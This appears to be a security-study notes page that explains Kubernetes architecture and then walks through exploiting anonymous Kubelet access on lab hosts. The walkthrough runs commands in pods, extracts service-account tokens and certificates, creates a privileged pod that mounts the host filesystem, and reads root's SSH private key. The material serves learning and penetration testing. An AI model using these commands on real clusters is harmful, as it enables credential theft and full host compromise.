d4rtht3ll3ctus' root vault

Kubernetes

6 min read

Kubernetes, also known as K8s, stands out as a revolutionary technology that has had a significant impact on the software development landscape

Developed by Google, Kubernetes leverages over a decade of experience in running complex workloads. As a result, it has become a critical tool in the DevOps universe for microservices orchestration. Since its creation, Kubernetes has been donated to the Cloud Native Computing Foundation, where it has become the industry’s gold standard.

The K8s architecture comprises a master node and worker nodes, each with specific roles.

K8s Concept

K8s continues to grow and improve with features like Role-Based Access Control (RBAC), Network Policies, and Security Contexts, providing a safer environment for applications.

Differences between K8 and Docker

FunctionDockerKubernetes
PrimaryPlatform for containerizing AppsAn orchestration tool for managing containers
ScalingManual scaling with Docker swarmAutomatic scaling
NetworkingSingle networkComplex network with policies
StorageVolumesWide range of storage options

Kubernetes architecture is primarily divided into two types of components:

  • The Control Plane (master node), which is responsible for controlling the Kubernetes cluster

  • The Worker Nodes (minions), where the containerized applications are run

Nodes

The master node hosts the Kubernetes Control Plane, which manages and coordinates all activities within the cluster and it also ensures that the cluster’s desired state is maintained. On the other hand, the Minions execute the actual applications and they receive instructions from the Control Plane and ensure the desired state is achieved.

Control Plane

The Control Plane serves as the management layer. It consists of several crucial components, including:

ServiceTCP Ports
etcd2379, 2380
API server6443
Scheduler10251
Controller Manager10252
Kubelet API10250
Read-Only Kubelet API10255

Minions

Within a containerized environment, the Minions (worker nodes) serve as the designated location for running applications. It’s important to note that each node is managed and regulated by the Control Plane, which helps ensure that all processes running within the containers operate smoothly and efficiently.

The Scheduler, based on the API server, understands the state of the cluster and schedules new pods on the nodes accordingly. After deciding which node a pod should run on, the API server updates the etcd.

 The API server is the entry point for all the administrative commands, either from users via kubectl or from the controllers. This server communicates with etcd to fetch or update the cluster state.

K8’s Security Measures

Kubernetes security can be divided into several domains:

  • Cluster infrastructure security
  • Cluster configuration security
  • Application security
  • Data security

Kubernetes API

The core of Kubernetes architecture is its API, which serves as the main point of contact for all internal and external interactions. The Kubernetes API has been designed to support declarative control, allowing users to define their desired state for the system.

Within the Kubernetes framework, an API resource serves as an endpoint that houses a specific collection of API objects. These objects pertain to a particular category and include essential elements such as Pods, Services, and Deployments, among others. Each unique resource comes equipped with a distinct set of operations that can be executed, including but not limited to:

RequestDescription
GETRetrieves information about a resource or a list of resources.
POSTCreates a new resource.
PUTUpdates an existing resource.
PATCHApplies partial updates to a resource.
DELETERemoves a resource.

Authentication

In terms of authentication, Kubernetes supports various methods such as client certificates, bearer tokens, an authenticating proxy, or HTTP basic auth, which serve to verify the user’s identity. Once the user has been authenticated, Kubernetes enforces authorization decisions using Role-Based Access Control (RBAC). This technique involves assigning specific roles to users or processes with corresponding permissions to access and operate on resources. Therefore, Kubernetes’ authentication and authorization process is a comprehensive security measure that ensures only authorized users can access resources and perform operations. In Kubernetes, the Kubelet can be configured to permit anonymous access. By default, the Kubelet allows anonymous access. Anonymous requests are considered unauthenticated, which implies that any request made to the Kubelet without a valid client certificate will be treated as anonymous. This can be problematic as any process or user that can reach the Kubelet API can make requests and receive responses, potentially exposing sensitive information or leading to unauthorized actions.

K8’s API Server Interaction

curl https://10.129.10.11:6443 -k
 
{
	"kind": "Status",
	"apiVersion": "v1",
	"metadata": {},
	"status": "Failure",
	"message": "forbidden: User \"system:anonymous\" cannot get path \"/\"",
	"reason": "Forbidden",
	"details": {},
	"code": 403
}

System:anonymous typically represents an unauthenticated user, meaning we haven’t provided valid credentials or are trying to access the API server anonymously. In this case, we try to access the root path, which would grant significant control over the Kubernetes cluster if successful.

Kubelet API - Extracting Pods

curl https://10.129.10.11:10250/pods -k | jq .

Kubeletctl - Extracting Pods

kubeletctl -i --server 10.129.10.11 pods

To effectively interact with pods within the Kubernetes environment, it’s important to have a clear understanding of the available commands. One approach that can be particularly useful is utilizing the scan rce command in kubeletctl. This command provides valuable insights and allows for efficient management of pods.

Kubelet API - Available Commands

kubeletctl -i --server 10.129.10.11 scan rce

Kubelet API - Executing Commands

kubeletctl -i --server 10.129.10.11 exec "id" -p nginx -c nginx

Privilege Escalation

To gain higher privileges and access the host system, we can utilize a tool called kubeletctl to obtain the Kubernetes service account’s token and certificate (ca.crt) from the server. To do this, we must provide the server’s IP address, namespace, and target pod. In case we get this token and certificate, we can elevate our privileges even more, move horizontally throughout the cluster, or gain access to additional pods and resources.

Kubelet API - Extracting Tokens

kubeletctl -i --server 10.129.10.11 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx | tee -a k8.token

Kubelet API - Extracting Certificates

kubeletctl --server 10.129.10.11 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" -p nginx -c nginx | tee -a ca.crt

Now that we have both the token and certificate, we can check the access rights in the Kubernetes cluster. This is commonly used for auditing and verification to guarantee that users have the correct level of access and are not given more privileges than they need. However, we can use it for our purposes and we can inquire of K8s whether we have permission to perform different actions on various resources.

List Privileges

export token=`cat k8.token`
kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.10.11:6443 auth can-i --list

Pod YAML

apiVersion: v1
kind: Pod
metadata:
  name: privesc
  namespace: default
spec:
  containers:
  - name: privesc
    image: nginx:1.14.2
    volumeMounts:
    - mountPath: /root
      name: mount-root-into-mnt
  volumes:
  - name: mount-root-into-mnt
    hostPath:
       path: /
  automountServiceAccountToken: true
  hostNetwork: true

Creating a new Pod

kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.96.98:6443 apply -f privesc.yaml
kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.96.98:6443 get pods

Extracting Root’s SSH Key

kubeletctl --server 10.129.10.11 exec "cat /root/root/.ssh/id_rsa" -p privesc -c privesc

Graph View